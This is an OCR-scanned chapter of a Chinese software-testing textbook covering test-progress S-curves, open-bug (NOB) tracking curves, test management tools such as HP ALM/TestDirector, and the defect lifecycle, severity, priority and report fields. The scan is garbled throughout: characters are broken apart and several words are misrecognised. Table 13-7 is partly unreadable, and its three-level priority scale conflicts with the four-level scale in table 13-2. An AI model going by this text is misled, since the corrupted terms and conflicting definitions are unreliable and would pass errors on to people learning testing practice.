13.1.2 测试 项 目 进 度 的 管理 方法 


在 软件 测试 管理 中 最 重要 、 最 基本 的 就 是 测试 进度 跟踪 。 众 所 周知 ,在 进度 压力 之 下 ,被 
压缩 的 时 间 通 常 是 测试 时 间 ,容易 导致 实际 的 进度 随 着 时 间 的 推移 ,与 最 初 制定 的 计划 相差 越 
来 越 远 。 如 果 有 了 正式 的 度量 方法 ,这 种 情况 就 能 够 避免 ,因为 在 其 出 现 之 前 就 有 可 能 采取 了 
行动 。 下 面 就 介绍 两 种 测试 项 目 进度 的 管理 方法 : 测试 进度 S 曲线 法 、 缺 陷 跟踪 曲线 法 。 缺 
陷 跟踪 又 可 以 分 为 新 发 现 缺 陷 跟踪 法 和 累计 缺陷 跟踪 法 ,而 以 累计 缺陷 跟踪 法 比较 好 。 

1. 测试 进度 S 曲线 法 

进度 S 曲线 法 通过 对 计划 中 的 进度 .尝试 的 进度 与 实际 的 进度 三 者 对 比 来 实现 ,其 采用 的 
基本 数据 主要 是 测试 用 例 或 测试 点 的 数量 。 同 时 ,这 些 数据 需 按 周 统计 ,每 周 统计 一 次 ,反映 
在 图 表 中 。“S?” 的 意思 是 , 随 着 时 间 的 发 展 , 积 累 的 数据 的 形状 越 来 越 像 S 形 。 可 以 看 到 一 般 
的 测试 过 程 中 包含 三 个 阶段 : 初始 阶段 、 紧 张 阶段 和 成 熟 阶段 。 第 一 和 第 三 阶段 所 执行 的 测 
试 数量 (强度 ) 远 小 于 中 间 的 第 二 阶段 ,由 此 导致 曲线 的 形状 像 一 个 遍 扁 的 S。 

X 轴 代 表 时 间 单 位 (推荐 以 * 周 ?为 单位 ),Y 轴 代 表 当 前 累计 的 测试 用 例 或 者 测试 点 数量 ， 
如 图 13-2 所 示 ,可 以 看 到 ， 
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13-2 计划 中 的 、 尝 试 的 与 实际 的 进度 曲线 图 


(1) 用 趋势 曲线 (上 方 实 线 ) 代 表 计 划 中 的 测试 用 例 数量 ,该 曲线 是 在 形成 了 测试 计划 之 
后 ,在 实际 测试 执行 之 前 事先 画 上 的 。 

(2) 测试 开始 时 ,图 上 只 有 计划 曲线 。 此 后 ,每 周 添加 两 条 柱状 数据 , 浅 色 柱状 数据 代表 当 
前 周 为 止 累计 尝试 执行 的 测试 用 例 数 , 深 色 柱状 数据 为 当前 周 为 止 累 计 实 际 执行 的 测试 用 例 数 。 

(3) 在 测试 快速 增长 期 (紧张 阶段 ) ,尝试 执行 的 测试 用 例 数 略 高 于 原 计 划 ,而 成 熟 阶 段 执 
行 的 用 例 数 则 略 低 于 原 计 划 ,这 种 情况 是 经 常 出 现 的 。 

由 于 测试 用 例 的 重要 程度 有 所 不 同 ,因此 ,在 实际 测试 中 经 常会 给 测试 用 例 加 上 权重 
(Test Scores) 。 使 用 加 权 归 一 化 (Normalized) 使 得 S 曲线 更 为 准确 地 反映 测试 进度 (这 样 Y 
轴 数 据 就 是 测试 用 例 的 加 权 数 量 ) ,加 权 后 的 测试 用 例 数 通常 称 为 测试 点 (Testpoint) 。 

一 旦 一 个 严格 的 计划 曲线 放 在 项 目 组 前 , 它 将 成 为 奋斗 的 动力 ,整个 小 组 的 视线 都 开始 关 


注 计 划 .尝试 与 执行 之 间 的 偏差 。 由 此 ,严格 的 评估 是 S 曲线 成 功 的 基本 保证 ,例如 ,人 力 是 否 
足够 .测试 用 例 之 间 是 否 存在 相关 性 等 。 一 般 而 言 ,在 计划 或 者 尝试 数 与 实际 执行 数 之 间 存 在 
15%% 一 20% 的 偏差 时 ,就 需要 启动 应 急行 动 来 进行 弥补 了 。 

一 旦 计划 曲线 被 设 定 ,任何 对 计划 的 变更 都 必须 经 过 审查 (Review)。 自 然 , 需 要 严格 的 
程序 规范 ,否则 计划 成 了 变化 ,如 同 儿戏 。 同 时 ,一 般 而 言 ,最 初 的 计划 应 作为 基准 (Baseline)， 
即使 计划 做 了 变更 ,也 留 作 参考 。 该 曲线 与 后 来 的 计划 曲线 的 对 比 显 现 的 不 同 之 处 需要 给 出 
详尽 的 理由 作为 说 明 ,同时 也 是 此 后 制定 计划 的 经 验 来 源 之 一 。 

2. 测试 进度 NOB 曲线 法 

测试 所 发 现 的 软件 缺陷 数量 ,一定 程度 上 代表 了 软件 的 质量 ,通过 对 它 的 跟踪 来 控制 进度 
也 是 一 种 比较 现实 的 方法 ,受到 测试 过 程 管理 的 高 度 重视 。 在 整个 测试 期 间 主要 收集 当前 所 
有 打开 的 (激活 的 ) 缺 陷 数 (Number of Open Bug,NOB) ,也 可 以 将 严重 级 别 的 缺陷 分 离 出 来 
进行 控制 ,从 而 形成 NOB 曲线 , 它 在 一 定 程度 上 反映 了 软件 质量 和 测试 进度 随时 间 的 发 展 趋 
势 ,如 图 13-3 所 示 。 
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13-3 NOB 进度 曲线 示意 图 


在 NOB 曲线 法 中 ,最 重要 的 是 确定 基线 数据 或 者 典型 数据 , 即 为 测试 进度 设计 一 套 计 划 
曲线 或 理想 曲线 。 至 少 在 跟踪 开始 的 时 候 , 需 将 项 目 进度 关键 点 (里 程 碑 ) 预 期 的 NOB 限制 
等 级 设置 好 ,以 及 确定 什么 时 间 NOB 达到 高 峰 ,NOB 在 测试 产品 发 布 前 能 否 降 到 足够 低 的 水 
平 。 比 较 理想 的 模式 是 ,相对 于 之 前 发 布 的 版 本 或 者 基线 ,NOB 高 峰 期 出 现 得 更 早 ,在 发 布 前 
降 到 足够 低 并 且 稳定 下 来 。 

尽管 NOB 应 该 一 直 都 被 控制 在 合理 的 级 别 上 ,但 是 当 功 能 测试 的 进展 是 最 主要 的 开发 
事件 时 ,应 该 关注 的 是 测试 的 有 效 性 和 测试 的 执行 ,并 在 最 大 程度 上 鼓励 缺陷 的 发 现 。 过 早 地 
关注 NOB 减少 ,可 能 导致 目标 冲突 ,导致 潜在 的 缺陷 逃逸 或 者 缺陷 发 现 的 延迟 。 因 此 ,在 测 
试 紧张 阶段 ,主要 应 该 关注 的 是 那些 阻止 测试 进展 的 关键 缺陷 的 纠正 。 当 然 ,在 测试 接近 完成 
时 ,就 应 该 强烈 关注 NOB 的 减少 ,因为 NOB 曲线 的 后 半 部 分 尤为 重要 , 它 与 质量 问题 密切 相关 。 

Myers 有 一 个 关于 软件 测试 的 著名 的 反 直 觉 原则 : 在 测试 中 发 现 缺 陷 多 的 地 方 , 还 有 更 
多 的 缺陷 将 会 被 发 现 。 这 个 原则 背后 的 原因 在 于 : 如 果 测 试 效率 没有 被 显著 地 改善 ,发现 缺 
陷 多 的 地 方 ,意味 着 代码 质量 更 低 。 举 一 个 例子 ,模块 A 存在 1000 个 缺陷 ,模块 B 存在 200 个 
缺陷 ,测试 效率 都 是 95% ,那么 测试 人 员 在 模块 A 中 会 发 现 其 中 的 950 个 缺陷 ,在 模块 B 中 会 


发 现 其 中 的 190 个 缺陷 ,最 后 模块 A 中 遗漏 的 缺陷 数 是 50, 而 后 模块 B 中 遗漏 的 缺陷 数 是 
10。 这 个 例子 ,验证 了 上 述 原 则 。 另 外 ,修正 越 多 的 缺陷 时 ,会 引入 更 多 的 新 的 缺陷 。 因 此 , 遇 
到 这 种 情况 ,要 挖掘 深层 次 的 原因 ,然后 采取 不 同 的 处 理 措施 。 

(1) 如 果 缺 陷 发 生 率 与 以 前 发 布 的 一 个 版 本 (或 模板 ) 相 同 或 更 低 ,就 应 该 考虑 当前 版 本 
的 测试 是 不 是 低 效 ? 如果 不 是 ,那么 质量 的 前 景 是 乐观 的 ; 如 果 是 ,那么 就 需要 额外 的 测试 。 
除了 要 对 当前 的 项 目 采 取 措 施 ,还 需要 对 开发 和 测试 的 过 程 进行 改善 。 

(2) 如 果 缺 陷 发 生 率 比 以 前 发 布 的 一 个 版 本 (或 模板 ) 更 高 ,那么 就 应 该 考虑 是 否 为 显著 
提高 测试 效率 做 了 计划 ,并 实际 上 做 到 了 这 一 点 ? 如 果 没 有 ,那么 质量 将 得 不 到 保证 ; 如 果 是 
这 样 ,那么 质量 将 得 到 保证 或 者 说 质量 是 乐观 的 。 


13.1.3 测试 过 程 管理 工具 


软件 测试 管理 工具 或 管理 系统 比较 成 熟 ,拥有 比较 多 的 产品 ,不 仅 能 满足 测试 管理 的 需求 ， 
而 且 可 以 适应 不 同类 型 不同 规模 软件 企业 的 特点 。 常 见 的 测试 管理 工具 主要 有 以 下 一 些 。 

(1) 商业 性 工具 ; HP ALM,IBM Rational Test Manager 和 Team Test, Compuware 
QADirector, Borland SilkCentral Test Manager 和 Microsoft Visual Studio Team System 等 。 

(2) 开源 工具 : TestLink、Bugzilla Test Runner、 验 收 测试 管理 工具 FitNesse、 基 于 XML 
文件 测试 用 例 管理 工具 JtestCas、Eclipse 测试 和 性 能 工具 平台 (Test & Performance Tools 
Platform,TPTP)。 除 此 之 外 ,还 有 其 他 一 些 测试 管理 框架 ,如 TestMaker、SalomeTMF、JTR 
(Java Test Runner) ,Jetif .Marathon、Grinder .TESTARE 等 。 

下 面 以 HP ALM 作为 示例 ,帮助 读者 了 解 测试 管理 工具 的 具体 特性 以 及 所 发 挥 的 作用 。 

HP ALM 是 一 套 软件 开发 与 测试 管理 软件 ,以 需求 驱动 整个 测试 过 程 ,规范 测试 管理 的 
流程 ,包括 测试 需求 管理 ,测试 计划 、 测 试 执行 到 缺陷 跟踪 。 

(1) 测试 需求 管理 。 通 过 提供 一 个 比较 直观 的 机 制 将 需求 和 测试 用 例 测试 结果 和 报告 
的 错误 联系 起 来 ,从 而 确保 能 达到 最 高 的 测试 覆盖 率 。 即 使 频繁 地 更 新 , 仍 能 简单 地 将 应 用 需 
求 与 相关 的 测试 对 应 起 来 。 检 查 应 用 程序 的 文档 ,以 确定 测试 范围 和 测试 目标 、 策 略 。 构 建 
“需求 树 ” 的 目的 是 为 了 确定 完全 覆盖 测试 需求 ,为 “需求 树 ” 中 的 每 一 个 需求 话题 建立 一 个 详 
细 的 目录 ,描述 每 一 个 需求 .分配 优 先 级 和 链接 附件 。 产 生 的 报告 和 图 表 以 帮助 分 析 测 试 需求 。 

(2) 编制 测试 计划 。 指 导 测试 人 员 如 何 将 应 用 需求 转化 为 具体 的 测试 计划 ,组 织 起 明确 
的 任务 和 责任 ,并 在 测试 计划 期 间 为 测试 小 组 提供 关键 要 点 和 Web 界面 来 协调 团队 间 的 沟 
通 。 提 供 了 多 种 方式 来 建立 完整 的 测试 计划 ,包括 从 草图 上 建立 一 份 计划 、 通 过 Test Plan 
Wizard 快捷 地 生成 一 份 测试 计划 将 计划 信息 的 相关 文件 导入 到 计划 管理 器 中 。 测 试 计划 的 
主要 步骤 有 定义 测试 策略 .定义 测试 对 象 .定义 测试 .创建 需求 覆盖 (连接 每 一 个 测试 和 测试 需 
求 ) .设计 测试 步骤 .自动 化 测试 脚本 的 建立 和 分 析 测试 计划 。 例 如 ,为 每 一 个 模块 确定 其 测试 
类 型 ,在 测试 计划 树 中 为 每 一 个 测试 点 添加 基本 说 明 ; 描述 了 测试 注意 事项 、 检 查 点 、 每 个 测 
试 的 预期 结果 。 

(3) 安排 和 执行 测试 。 创 建 测 试 套件 .分 配 测试 任务 和 时 间 表 、 运 行 测试 任务 和 分 析 测试 
结果 。 其 中 ,Smart Scheduler 根据 测试 计划 中 创立 的 指标 对 测试 执行 监控 ,能 自动 分 辩 是 系 
统 还 是 应 用 错误 ,然后 将 测试 切换 到 网 络 的 其 他 机 器 。 当 网 络 上 任何 一 台 主 机 空闲 ,测试 任务 
会 安排 到 这 台 主 机 上 ,也 就 是 能 充分 利用 时 间 、 机 器 、 网 络 资源 等 。 使 用 Graphic Designer 图 
表 设 计 , 可 以 很 快 地 将 测试 分 类 以 满足 不 同 的 测试 目的 ,如 功能 性 测试 .负载 测试 .完整 性 测试 


等 。 它 的 拖 动 功能 可 简化 设计 和 排列 在 多 个 机 器 上 运行 的 测试 ,最 终 根据 设 定好 的 时 间 路径 
或 其 他 测试 的 成 功 与 否 ,为 序列 测试 制订 执行 日 程 。 

(4) 缺陷 跟踪 。 添 加 缺陷 、 检 查 新 的 缺陷 、 修 复 缺 陷 、 验 证 修改 结果 和 分 析 缺 陷 数据 ,贯穿 
整个 测试 过 程 。 由 于 同一 项 目 组 中 的 成 员 经 常 分 布 于 不 同 的 地 方 ,TestDirector 基于 浏览 器 
的 特征 ,使 这 些 用 户 可 以 随时 随地 查询 出 错 跟踪 情况 。 利 用 出 错 管理 ,测试 人 员 只 需 进 入 一 个 
URL ,就 可 汇报 和 更 新 错误 ,过 滤 整 理 错 误 列表 并 作 趋 势 分 析 。 

(5) 人 工 与 自动 测试 的 结合 。 多 数 的 测试 项 目 需要 人 工 与 自动 测试 的 结合 ,包括 健全 、 还 
原 和 系统 测试 。 即 使 符合 自动 测试 要 求 的 工具 ,在 大 部 分 情况 下 也 需要 人 工 操作 。 通 过 自动 
化 切换 机 制 , 让 测试 人 员 决 定 哪 些 重复 的 人 工 测试 可 转变 为 自动 脚本 以 提高 测试 速度 ,并 简化 
这 一 转化 过 程 ,及 时 启动 测试 设计 过 程 。 

(6) 图 形 化 和 报表 输出 。TestDirector 常规 化 的 图 表 和 报告 帮助 对 数据 信息 进行 分 析 , 提 
供 直 观 且 有 效 的 方法 来 收集 测试 结果 和 分 析 数 据 , 还 以 标准 的 HTML 或 Word 形式 提供 生成 
和 发 送 正式 测试 报告 。 测 试 分 析 数 据 还 可 简便 地 输入 到 标准 化 的 报告 工具 , 如 Excel、 
ReportSmith、CrystalReports 和 其 他 类 型 的 第 三 方 工具 。 

(7) 用 户 权限 管理 。 将 不 同 的 用 户 分 成 用 户 组 ,默认 的 就 有 6 个 组 TDAdmin,QAIester ， 
Project Manager,Developer,Viewer,Customer。 拥 有 可 定制 的 用 户 界 面 和 访问 权限 ,用 户 可 
以 根据 需求 建立 特殊 的 用 户 组 。 每 一 用 户 组 ,都 拥有 属于 自己 的 权限 设置 。 

(8) 和 其 他 工具 的 集成 。TestDirector 可 以 与 LoadRunner、WinRunner 进行 有 效 的 集 
成 ,来 统一 管理 测试 用 例 测试 脚本 、 使 用 情景 与 测试 结果 ,并且 可 以 面向 发 生 问题 的 部 分 进行 
错误 跟踪 ,达到 与 开发 部 门 实时 交互 。 各 种 功能 或 负载 测试 工具 的 执行 信息 和 结果 都 会 被 自 
动 汇集 传送 到 TestDirector 的 数据 存储 中 心 。 


13.2 软件 缺陷 的 描述 


开发 人 员 修 正 缺 陷 的 阶段 差不多 占 整 个 开发 过 程 的 一 半 时 间 ,而 在 这 个 阶段 ,缺陷 成 了 开 
发 人 员 和 测试 人 员 之 间 的 工作 纽带 ,许多 工作 都 是 围绕 缺陷 展开 ,测试 人 员 发 现 缺 陷 ,开发 人 
员 修正 缺陷 ,然后 测试 人 员 再 验证 缺陷 。 缺 陷 找 述 不 清楚 ,会 极 大 影响 团队 的 工作 效率 ,而 准 
确 有 效 地 定义 和 描述 软件 缺陷 ,可 以 带 来 不 少 好 处 ,例如 : 

(1) 清晰 准确 的 软件 缺陷 描述 可 以 减少 软件 缺陷 从 开发 人 员 返 回 的 数量 。 

(2) 提高 软件 缺陷 修复 的 速度 ,使 每 一 个 小 组 能 够 有 效 地 工作 。 

(3) 提高 测试 人 员 的 信任 度 ,可 以 得 到 开发 人 员 对 清晰 的 软件 缺陷 描述 有 效 的 响应 。 

(4) 加 强 开 发 人 员 ,测试 人 员 和 管理 人 员 的 协同 工作 ,让 他 们 可 以 更 好 地 工作 。 


13.2.1 软件 缺陷 的 生命 周期 


生命 周期 的 概念 是 一 个 物种 从 诞生 到 消亡 经 历 了 不 同 的 生命 阶段 ,软件 缺陷 生命 周期 指 
的 是 一 个 软件 缺陷 被 发 现 、 报 告 到 这 个 缺陷 被 修复 、 验 证 直至 最 后 关闭 的 完整 过 程 。 在 整个 软 
件 缺 陷 生 命 周期 中 ,通常 是 以 改变 软件 缺陷 的 状态 来 体现 不 同 的 生命 阶段 。 因 此 ,对 于 一 个 软 
件 测 试 人 员 来 讲 , 需 要 关注 软件 缺陷 在 生命 周期 中 的 状态 变化 ,来 跟踪 软件 质量 和 项 目 进度 。 
一 个 基本 的 软件 缺陷 生命 周期 ,如 图 13-4 所 示 , 包 含 三 个 状态 一 一 新 打开 的 >“ 已 修正 ”和 
“已 关闭 ”。 


(1) 发 现 ~ 打 开 : 测试 人 员 发 现 软件 缺陷 后 ,提交 该 缺 
陷 给 开发 人 员 。 缺 陷 处 在 开始 状态 * 新 打开 的 ”。 

(2) 打开 一 修复 : 开发 人 员 再 现 、 修 改 代码 并 进行 必要 的 
单元 测试 ,完成 缺陷 的 修正 。 这 时 缺陷 处 于 “已 修正 ”状态 。 

(3) 修复 一 关闭 : 测试 人 员 验 证 已 修正 的 缺陷 ,如 果 该 
缺陷 在 新 构建 的 软件 包 的 确 不 存在 ,测试 人 员 就 关闭 这 个 缺 
陷 。 这 时 缺陷 处 于 “已 关闭 ”状态 。 

在 实际 工作 中 ,软件 缺陷 的 生命 周期 不 可 能 像 图 13-4 图 13-4 基本 的 软件 缺陷 生命 周期 
那么 简单 ,需要 考虑 其 他 各 种 情况 。 图 13-5 给 出 了 一 个 常 
见 的 软件 缺陷 生命 周期 的 例子 ,其 中 各 个 状态 的 说 明 见 表 13-1。 综 上 所 述 ,软件 缺陷 在 生命 
周期 中 经 历 了 数 次 的 审阅 和 状态 变化 ,最 终 测试 人 员 关 闭 软件 缺陷 来 结束 软件 缺陷 的 生命 周 
期 。 软 件 缺陷 生命 周期 中 的 不 同 阶段 是 测试 人 员 ,开发 人 员 和 管理 人 员 一 起 参与 ,协同 测试 的 
过 程 。 软 件 缺 陷 一 旦 发 现 , 便 进入 测试 人 员 ,开发 人 员 ,管理 人 员 的 严密 监控 之 中 ,直至 软件 缺 
陷 生 命 周 期 终结 ,这 样 既 可 保证 在 较 短 的 时 间 内 高 效率 地 关闭 所 有 的 缺陷 ,缩短 软件 测试 的 进 
程 ,提高 软件 质量 ,同时 减少 了 开发 和 维护 成 本 。 


| 
， 
| 
补充 再 现 
所 缺少 的 
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_ 回归 的 Bug 


设计 需要 修改 


PPE 修复 的 Bug? 
13-5 常见 的 软件 缺陷 生命 周期 
表 13-1 软件 缺陷 状态 列表 


缺陷 状态 描述 
问题 还 没有 解决 ,存在 源 代码 中 ,确认 “提交 的 缺陷 ”, 等 待 处 理 ,如 新 报 的 缺陷 
(Active or Open) 
已 修正 或 修复 已 被 开发 人 员 检查 、 修 复 过 的 缺陷 ,通过 单元 测试 ,认为 已 解决 但 还 没有 被 测试 人 员 
(Fixed or Resolved) | 验证 
2 测试 人 员 验 证 后 ,确认 缺陷 不 存在 之 后 的 状态 
(Close or Inactive) 
重新 打开 测试 人 员 验 证 后 ,还 依然 存在 的 缺陷 ,等 待 开 发 人 员 进 一 步 修复 
推迟 这 个 软件 缺陷 可 以 在 下 一 个 版 本 中 解决 
保留 由 于 技术 原因 或 第 三 者 软件 的 缺陷 ,开发 人 员 不 能 修复 的 缺陷 
不 能 重 现 开发 不 能 复 现 这 个 软件 缺陷 ,需要 测试 人 员 检 查 缺 陷 复 现 的 步 又 
需要 更 多 信息 开发 能 复 现 这 个 软件 缺陷 ,但 开发 人 员 需 要 一 些 信息 ,例如 : 缺陷 的 日 志文 件 、 图 片 等 


13.2.2 严重 性 和 优先 级 


软件 缺陷 对 用 户 使 用 的 影响 是 不 一 样 的 或 所 造成 的 后 果 是 不 同 的 。 有 些 缺 陷 的 影响 比较 
小 ,如 界面 不 美观 .操作 不 够 灵活 等 ; 而 有 些 缺陷 造成 的 影响 很 大 ,例如 ,造成 用 户 数据 丢失 、 
导致 重大 经 济 损失 。 所 以 ,可 以 通过 设 定 严重 性 (Severity) 的 级 别 来 衡量 软件 缺陷 对 客户 满意 
度 的 影响 程度 。 虽 然 软 件 公司 对 缺陷 严重 性 级 别 的 定义 不 尽 相 同 ,但 大 同 小 异 ,一 般 可 以 定义 
为 以 下 4 种 级 别 。 

(1) 致命 的 (Fatal) : 致命 的 错误 ,造成 系统 或 应 用 程序 崩溃 (Crash)、 死 机 .系统 悬挂 ,或 
造成 数据 丢失 .主要 功能 完全 丧失 等 。 

(2) 严重 的 (Critical) : 严重 错误 , 指 功能 或 特性 (Feature) 没 有 实现 ,主要 功能 部 分 丧失 ， 
次 要 功能 完全 丧失 ,或 致命 的 错误 声明 。 

(3) 一 般 的 (Major) : 不 太 严 重 的 错误 ,这 样 的 软件 缺陷 虽然 不 影响 系统 的 基本 使 用 ,但 
没有 很 好 地 实现 功能 ,没有 达到 预期 效果 。 如 次 要 功能 丧失 ,提示 信息 不 太 准 确 , 或 用 户 界 面 
差 ,操作 时 间 长 等 。 

(4) 微小 的 (Minor) : 一 些小 问题 ,对 功能 几乎 没有 影响 ,产品 及 属性 仍 可 使 用 ,如 有 个 别 
错别字 文字 排列 不 整齐 等 。 

当然 ,这 种 严重 性 级 别 的 定义 是 相对 的 ,例如 ,错别字 出 现在 用 户 经 常 访问 的 地 方 ,如 站 点 首 
页 .系统 主 界面 或 菜单 等 ,软件 缺陷 是 严重 的 。 除 了 上 述 4 个 级 别 之 外 ,还 可 以 设置 “建议 
(Suggestion)” 级 别 来 处 理 测试 人 员 提 出 对 产品 特性 改进 的 各 种 建议 或 质疑 ,如 建议 操作 菜单 项 
的 次 序 改 进 .按钮 位 置 的 改变 等 ,以 改善 系统 的 适用 性 ; 或 对 设计 不 合理 ,不 明白 的 地 方 提出 质疑 。 

由 于 软件 的 严重 性 程度 不 一 样 ,所 以 不 是 每 个 软件 缺陷 都 需要 开发 人 员 修 复 。 即 使 对 严 
重 性 级 别 相同 的 缺陷 ,开发 人 员 也 不 能 一 视 同仁 ,需要 区 别 对 待 。 例 如 , 某 个 缺陷 使 测试 人 员 
的 工作 不 能 继续 下 去 ,需要 立即 修正 ,而 另外 一 个 缺陷 非常 难 , 不 急于 修正 。 这 就 是 说 开发 人 
员 修 复 缺陷 有 先后 次 序 , 越 急 于 修正 的 缺陷 ,其 优先 级 越 高 ,而 不 急于 修正 的 缺陷 ,其 优先 级 就 
比较 低 。 所 以 缺陷 具有 优先 级 属性 一 一 被 修复 的 紧急 程度 ,“ 优 先 级 ”的 衡量 抓 住 了 在 严重 性 
中 没有 考虑 的 重要 程度 因素 ,如 表 13-2 所 示 。 


表 13-2 软件 缺陷 优先 级 列表 


缺陷 优先 级 描 述 
立即 解决 (Pl 级 ) 缺陷 导致 系统 几乎 不 能 使 用 或 测试 不 能 继续 , 需 立 即 修复 
高 优先 级 (P2 级 ) 缺陷 严重 ,影响 测试 ,需要 优先 考虑 
正常 排队 (P3 级 ) 缺陷 需要 正常 排队 等 待 修复 
低 优先 级 (P4 级 ) 缺陷 可 以 在 开发 人 员 有 时 间 的 时 候 被 纠正 


一 般 来 讲 ,缺陷 严重 等 级 和 缺陷 优先 级 相关 性 很 强 ,但 是 ,具有 低 优 先 级 和 高 严重 性 的 错 
误 是 可 能 的 ,反之 亦 然 。 例 如 ,产品 徽标 是 重要 的 ,一 旦 它 丢 失 了 ,这 种 缺陷 是 用 户 界面 的 产品 
缺陷 ,但 是 它 阻碍 产品 的 形象 ,那么 它 是 优先 级 很 高 的 软件 缺陷 。 


13.2.3 缺陷 的 其 他 属性 


对 于 测试 人 员 ,利用 软件 缺陷 属性 可 以 跟踪 软件 缺陷 ,保证 产品 的 质量 。 软 件 缺陷 需要 其 
他 一 些 属性 ,包括 缺陷 标识 (ID) ,缺陷 类 型 (Type) 、 缺 陷 产 生 可 能 性 (Frequency)、 缺 陷 来 源 


(Source) ,缺陷 原因 (Root Cause) 等 。 
(1) 标识 : 是 标记 某 个 缺陷 的 唯一 的 表示 ,可 以 使 用 数字 序号 表示 。 
(2) 类 型 : 是 根据 缺陷 的 自然 属性 划分 缺陷 种 类 ,如 表 13-3 所 示 。 
表 13-3 软件 缺陷 类 型 列表 


缺陷 类 型 描 述 

功能 影响 了 各 种 系统 功能 .逻辑 的 缺陷 
影响 了 用 户 界面 、 人 机 交互 特性 ,包括 屏幕 格式 、 用 户 输入 灵活 性 、 结 果 输 出 格式 等 方面 

用 户 界面 的 缺陷 
文档 影响 发 布 和 维护 ,包括 注释 ` 用 户 手册 、 设 计 文档 
软件 包 由 于 软件 配置 库 、 变 更 管理 或 版 本 控制 引起 的 错误 
性 能 不 满足 系统 可 测量 的 属性 值 , 如 执行 时 间 、 事 务 处 理 速率 等 
系统 /模块 接口 _| 与 其 他 组 件 、 模 块 或 设备 驱动 程序 .调用 参数 、 控 制 块 或 参数 列表 等 不 匹配 、 冲 突 


(3) 可 能 性 : 指 缺陷 在 产品 中 发 生 的 可 能 性 ,通常 可 以 用 频率 来 表示 ,如 表 13-4 所 示 。 
表 13-4 软件 缺陷 产生 可 能 性 列表 


缺陷 产生 可 能 性 描 述 
总 是 (Always) 总 是 产生 这 个 软件 缺陷 ,其 产生 的 频率 是 100% 
通常 (Often) 按照 测试 用 例 , 通 常情 况 下 会 产生 这 个 软件 缺陷 ,其 产生 的 频率 大 概 是 80%~~90% 
有 了 时 (Occasionally) “| 按照 测试 用 例 , 有 的 时 候 产 生 这 个 软件 缺陷 ,其 产生 的 频率 大 概 是 30%% 一 50%% 
很 少 (Rarely) 按照 测试 用 例 ,很 少 产生 这 个 软件 缺陷 ,其 产生 的 频率 大 概 是 1% 一 5%% 


(4) 来 源 : 指 缺 陷 所 在 的 地 方 ,如 文档 、 代 码 等 ,如 表 13-5 所 示 。 
表 13-5 软件 缺陷 来 源 列 表 


缺陷 来 源 描 述 
需求 说 明 书 需求 说 明 书 的 错误 或 不 清楚 引起 的 问题 
设计 文档 设计 文档 描述 不 准确 .和 需求 说 明 书 不 一 致 的 问题 
系统 集成 接口 系统 各 模块 参数 不 匹配 、 开 发 组 之 间 缺 乏 协调 引起 的 缺陷 
数据 流 ( 库 ) 由 于 数据 字典 数据库 中 的 错误 引起 的 缺陷 
程序 代码 纯粹 在 编码 中 的 问题 所 引起 的 缺陷 


(5) 根源 : 指 造成 上 述 错误 的 根本 因素 ,以 寻求 软件 开发 流程 的 改进 、 管 理 水 平 的 提高 ， 
如 表 13-6 所 示 。 


表 13-6 软件 缺陷 根源 列表 


缺陷 根源 描述 
测试 策略 铺 误 的 测试 范围 ,误解 了 测试 目标 ,超越 测试 能 力 等 
无 歼 的 需求 收集 过 程 ,过 时 的 风险 管理 过 程 ,不 适用 的 项 目 管理 方法 ,没有 估算 规程 
过 程 ,工具 和 方法 | 无 效 的 变更 控制 过 程 等 
团队 /大 项 目 团队 职责 交叉 ,缺乏 丑 训 。 没有 经 验 的 项 目 团队 ,缺乏 士气 和 动机 不 纯 等 
缺乏 组 织 和 通信 ”| 缺乏 用 户 参与 ,职责 不 明确 ,管理 失败 等 
硬件 硬件 配置 不 对 缺乏 ,或 处 理 器 页 陷 导致 算术 精度 丢失 ,内 存 淤 出 等 
EE 软件 设置 不 对 .缺乏 ,或 操作 系统 错误 导致 无 法 释放 资源 ,工具 软件 的 铺 误 ,编译 器 的 
错误 ,千年 中 问题 等 
工作 环境 组 织 机 构 调整 ,预算 改变 ,工作 环境 恶劣 ,如 噪声 过 大 


13.2.4 完整 的 缺陷 信息 
任何 一 个 缺陷 跟踪 系统 的 核心 都 是 “软件 缺陷 报告 ", 一 份 软件 缺陷 报告 详细 信息 如 


表 13-7 所 示 。 
表 13-7 软件 缺陷 信息 列表 
分 类 项 目 描述 
TICTTT 礁 一 的 自动 产生 的 起 隧 iD 用 于 识别 \ 归 牙 -查询 
候 陷 状态 可 分 为 "打开 或 激活 的 *“ 已 修正 "关闭 " 等 
页 隐 标 是 描述 缺陷 的 最 主要 信息 
候 陷 的 严重 程度 “| 一 般 分 为 致命" 严重" 一般 "… 较 相 " 等 4 种 程度 
描述 处 理 扇 陷 的 紧 仿 程度 ,1 是 优先 级 最 高 的 等 级 ,2 是 正常 的， 
缺 陶 的 化 先 级 3 是 优先 级 最 低 的 
忌 陪 的 产生 频率 | 描述 缺陷 发 生 的 可 能 性 1%~100% 
ee 缺陷 提 交 人 的 名 字 ( 会 和 好 件 地 址 联系 起 来 ) ,一般 就 是 发 现 起 
四 陷 的 测试 人 员 或 其 他 人 员 
让 候 隐 提交 时 间 缺陷 提交 的 时 间 


缺陷 所 属 项 目 /模块 | 缺陷 所 属 的 项 目 和 模块 ,最 好 能 较 精确 地 定位 至 模块 
估计 修复 这 个 缺陷 的 开发 人 员 ,在 缺陷 状态 下 由 开发 组 长 指定 
缺陷 指定 解决 人 相关 的 开发 人 员 ; 也 会 自动 和 该 开发 人 员 的 邮件 地 址 联系 起 来 ， 


并 自动 发 出 邮件 
缺陷 指定 解决 时 间 ”| 开发 管理 员 指 定 的 开发 人 员 修 改 此 缺陷 的 时 间 
缺陷 验证 人 验证 缺陷 是 否 真正 被 修复 的 测试 人 员 ; 也 会 和 邮件 地 址 联系 起 来 
缺陷 验证 结果 描述 ”| 对 验证 结果 的 描述 (通过 ,不 通过 ) 
缺陷 验证 时 间 对 缺陷 验证 的 时 间 
步骤 对 缺陷 的 操作 过 程 , 按 照 步骤 一 步 一 步 地 描述 
按照 设计 规格 说 明 书 或 用 户 需求 ,在 上 述 步骤 之 后 ,所 期 望 的 结 
缺陷 的 详细 描述 | 期 望 的 结果 果 , 即 正确 的 结果 
实际 发 生 的 结果 程序 或 系统 实际 发 生 的 结果 , 即 错误 的 结果 
测试 环境 说 明 ”| 测试 环境 对 测试 环境 描述 ,包括 操作 系统 ,浏览 器 、 网 络 带宽 ,通信 协议 等 
对 于 某 些 文字 很 难 表达 清楚 的 缺陷 ,使 用 图 片 等 附件 是 必要 的 ; 
必要 的 附件 图 片 `Log 文件 对 于 软件 崩溃 现象 ,需要 使 用 Soft_ICE 工具 去 捕捉 日 志文 件 作 
为 附件 提供 给 开发 人 员 


